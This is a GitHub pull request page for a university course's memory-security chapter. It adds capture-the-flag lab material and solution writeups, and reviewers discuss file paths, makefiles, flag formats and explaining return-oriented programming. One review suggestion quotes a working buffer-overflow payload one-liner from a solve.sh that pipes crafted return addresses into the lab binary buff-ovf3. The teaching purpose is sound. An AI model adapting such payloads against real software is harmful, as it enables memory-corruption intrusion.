Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

chapters/memory-security/ctf: Add CTF lab #25

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

valudimi
Copy link

Prerequisite Checklist

  • Read the contribution guidelines regarding submitting new changes to the project;
  • Tested your changes against relevant architectures and platforms;
  • Updated relevant documentation (if needed).

Description of changes

This commit adds the adapted material, including references and sentence rephrasing for enhanced readability, as well as solution writeups.

@valudimi valudimi added needs-rendering The PR makes changes to the website that need to be rendered topic/memory-security Related to the "Memory Security" chapter kind/new New content / item labels Aug 29, 2024
Copy link

@valudimi valudimi added needs-rendering The PR makes changes to the website that need to be rendered and removed needs-rendering The PR makes changes to the website that need to be rendered labels Aug 29, 2024
Copy link

Copy link

@teodutu teodutu left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Things are looking well for the most part. Below are some things that are missing, besides my inline comments.

  • Some exercises are missing their source code, such as feeling-chained. You can find them here [1]. Add them to the solution/ folders so we don't lose them and have them all in one place.
  • Add the makefiles to all exercises because some of them define necessary compiler flags such as -fno-stack-protector
  • Provide the paths to all files that students must use. For example write task-name/support/binary instead of just binary.
  • Modify all flags to start with HSI_ instead of iocla_ and then use obfuscate.c [2] to embed it in the source code. I'm not sure whether to add the contents of [2] to every task's solution/ folder or not. Let's not do this for now since this tool is also used for CTFs which need to be private because they are contests. We can always add it later if needed.

[1] https://github.com/systems-cs-pub-ro/iocla-internal/tree/master/laboratoare/content/ctf/sol
[2] https://github.com/systems-cs-pub-ro/iocla-internal/tree/master/comunitate/ctf/obfuscator

@github-actions github-actions bot added area/infra Update to infrastructure area/reading Update to reading material area/tasks Update to tasks kind/improve Improve / update existing content / item labels Aug 29, 2024
@teodutu
Copy link

teodutu commented Sep 5, 2024

Don't forget to add the sources for the binaries so we have them all in one place.

Copy link

@valudimi valudimi added needs-rendering The PR makes changes to the website that need to be rendered and removed needs-rendering The PR makes changes to the website that need to be rendered labels Sep 12, 2024
Copy link

@valudimi valudimi added needs-rendering The PR makes changes to the website that need to be rendered and removed needs-rendering The PR makes changes to the website that need to be rendered labels Sep 12, 2024
Copy link

Copy link

@teodutu teodutu left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Things are looking considerably better now and the solutions are clear and straightforward. GG! My inline comments now focus on smaller details, but most of them apply to all tasks.

@@ -0,0 +1,30 @@
# Solution

In a nature similar to that of the previous exercise, we take a close look at the `objdump` disassembly output of the binary using the `objdump -D -M intel link2` command, specifically focusing on the `helper()` function:
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Replace "previous exercise" with [hidden-in-plain-sight-1](link/to/hidden-in-plain-sight-1).

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Add an image to showcase the stack after sending the payload: which values point to gadgets and which numbers are popped into register. Use https://app.diagrams.net/ to create and save it in .SVG format.

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

On second thought, this might not be needed.

In this laboratory, you will have to apply most of the concepts presented throughout this course under the format of `Capture-The-Flag` tasks.
These tasks will test your understanding and mastery of specific static and dynamic analysis methods and tools, the compilation process, assembly language - syntax, registers, memory handling, functions, - as well as your ability to identify and exploit simple buffer overflow vulnerabilities.

## Return Oriented Programming
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You need to expand on what gadgets are and what ROPs do. I created the image below for a ROP demo I made the other day. You can use it as a start. Explain what happens step by step, which value on the stack goes where and it should be clearer.

rop-anatomy

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bump on this though. This would be of great use. You already have the image above, just add some text to walk students through it.

This commit adds the adapted material, including references and sentence
rephrasing for enhanced readability, as well as solution writeups.

Signed-off-by: Dimitrie Valu <[email protected]>
@NickZaharia308 NickZaharia308 added needs-rendering The PR makes changes to the website that need to be rendered and removed needs-rendering The PR makes changes to the website that need to be rendered labels Oct 2, 2024
Copy link

github-actions bot commented Oct 2, 2024

Copy link

@teodutu teodutu left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I only made suggestions that should be applied to all solve.shs. Don't worry about the line length. Don't worry about the line length.

@@ -0,0 +1,3 @@
#!/bin/bash

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
# SPDX-License-Identifier: BSD-3-Clause

@@ -0,0 +1,3 @@
#!/bin/bash

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ../support/buff-ovf3

Use the relative path to the binary so the script can be run directly from here.

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

On second thought, this might not be needed.

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Make this file executable

In this laboratory, you will have to apply most of the concepts presented throughout this course under the format of `Capture-The-Flag` tasks.
These tasks will test your understanding and mastery of specific static and dynamic analysis methods and tools, the compilation process, assembly language - syntax, registers, memory handling, functions, - as well as your ability to identify and exploit simple buffer overflow vulnerabilities.

## Return Oriented Programming
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bump on this though. This would be of great use. You already have the image above, just add some text to walk students through it.

Copy link

@NickZaharia308 NickZaharia308 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks great! 👍
Address the changes made by Teo Dutu and everything should be fine.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
area/infra Update to infrastructure area/reading Update to reading material area/tasks Update to tasks kind/improve Improve / update existing content / item kind/new New content / item needs-rendering The PR makes changes to the website that need to be rendered topic/memory-security Related to the "Memory Security" chapter
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants